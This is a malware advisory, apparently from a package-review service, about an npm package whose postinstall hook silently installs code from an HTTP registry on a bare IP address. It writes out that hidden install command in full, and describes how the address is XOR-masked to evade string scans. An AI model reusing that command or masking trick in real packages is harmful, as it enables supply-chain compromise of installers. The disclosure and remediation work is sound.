@conduitops/logview-archive 1.0.1

maliciousCovers 1.0.0 and 1.0.1Reviewed by BitbisonUpdated 2026-11-06

A postinstall hook runs `npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94.195:8080/dl/npm/` into the package's vendor/ directory, silently and with lifecycle scripts enabled. 1.0.1 XOR-masks the address to evade string scans.

On October 21, 2026, @conduitops/logview-archive 1.0.0 and 1.0.1 were published to npm as "streaming authenticated encryption, key management and log-archive formats for retained logs". Both releases carry a postinstall hook that quietly installs a second package, @conduit/logview-cli@2.2.0, from a private npm registry on a bare IP address over plain HTTP, http://139.196.94.195:8080/dl/npm/. That package is not on the public npm registry, and nothing in this library ever uses it. In 1.0.1 the address is XOR-masked, and the code says this is done so that "a downloaded package carries no readable address, which defeats the string scan such a package receives". So whoever runs that host can execute any code they like on every machine that installs this package. OSV lists it as MAL-2026-18183, covering both versions.

What @conduitops/logview-archive does

When @conduitops/logview-archive 1.0.1 (sha256 5269a78fa62a5dbc5ea374ac305516f3615754552c6415d68f3637768a5f2912) or 1.0.0 (sha256 2a45f2409f4227f1ce2d5c99b22b32291b4bd4f4abea44bb654f7e93ddeab241) is installed:

• npm executes the package's postinstall script, node install.js.
• install.js creates node_modules/@conduitops/logview-archive/vendor/. Then, through the same npm that is doing the install, it executes npm install @conduit/logview-cli@2.2.0 --prefix <that vendor directory> --no-save --no-package-lock --no-audit --no-fund --loglevel=error --registry http://139.196.94.195:8080/dl/npm/.
• npm connects to 139.196.94.195 on port 8080 over plain HTTP, with no hostname and no TLS, and installs whatever that server returns for @conduit/logview-cli@2.2.0. Because --ignore-scripts is not passed, any lifecycle scripts in the package the server returns are executed as the installing user. All output is discarded.
• If the server cannot be reached or refuses, the install still finishes without a message, so the user is not told anything happened.

What the code does

All of the behaviour is in install.js, lib/toolchain.json and, in 1.0.1, lib/origin.js. Line numbers below are for 1.0.1 (tarball sha256 5269a78fa62a5dbc5ea374ac305516f3615754552c6415d68f3637768a5f2912, install.js sha256 0d11efbb0880f2b9f3d4c8f073cf4ddddb105badc34ffaed48ae76d59a0609a8, lib/origin.js sha256 4a2485296ad2178b7bf07ebba6d13b300728582dd9ca673aa3e262d46e49c44e). The rest of the package (index.js, bin/, src/) is a log-archive and encryption library that makes no network connections, starts no processes and never refers to vendor/ or @conduit/logview-cli.

• package.json:13 declares "postinstall": "node install.js".
• lib/toolchain.json:13–14 pins @conduit/logview-cli version 2.2.0. Line 17 holds the registry as C0QaFE8eWxxcSV1SCVhKTAVaHFZFSVsAVlRaVRgCAQAeTA==, and line 18 describes it as "xor-base64 … so a downloaded copy of this package carries no readable address".
• lib/origin.js:20 holds the key c0ndu1t-ops. Lines 23–46 base64-decode the value and XOR it with that key, which gives http://139.196.94.195:8080/dl/npm/. The file's comment (lines 12–14) says this "is obfuscation, not secrecy" and that it "defeats the string scan such a package receives".
• install.js:36–49 loads the pin and unmasks the registry. Lines 52–55 let the environment variable LOGVIEW_TOOLCHAIN_REGISTRY replace it.
• install.js:105–130 runs npm install <tool>@<version> --prefix <vendor> … --registry <origin> with stdio: 'ignore' and a two-minute timeout. It uses the running npm (npm_execpath, lines 90–103) or, failing that, npm on the PATH.
• install.js:137–145 skip the install only when the project already resolves @conduit/logview-cli or a copy is already in vendor/. Lines 25–31 and 152–157 print errors only when LOGVIEW_DEBUG is set.
• 1.0.0 is the same except that lib/toolchain.json:17 holds http://139.196.94.195:8080/dl/npm/ in plain text and install.js has no unmasking (sha256 of 1.0.0's install.js: 7ed6d0ffa75ec6cb964a3daf7990c5c30518c85d3648583d0ae1391689f2d187). The only change in 1.0.1 is hiding the address.

The package's metadata does not lead anywhere public. Its repository is ssh://git@git.conduit.internal/platform/logview-archive.git, and its homepage, bug tracker and maintainer address are also on conduit.internal. None of these can be reached from the public internet. The npm publisher is venu552. Nothing ties 139.196.94.195 to the publisher it claims to be. The code that address serves cannot be seen in this package and may change at any time. The danger does not depend on what it serves today: installing this package runs code chosen by whoever controls that address, sent unauthenticated over plain HTTP.

Timeline (UTC)

If you installed it

Treat the machine, or the CI runner, as compromised: it executed code served by 139.196.94.195. Remove @conduitops/logview-archive and its node_modules/@conduitops/logview-archive/vendor/ directory, and look for @conduit/logview-cli anywhere in node_modules. Rotate every credential the installing user or the CI environment could read, including npm, cloud and source-host tokens. Search network logs for connections to 139.196.94.195:8080. If you depend on an internal package of this name, pin it to your own registry with an .npmrc scope mapping (@conduitops:registry=...) so the public copy is never resolved.

Links

• OSV MAL-2026-18183
• OpenSSF malicious-packages report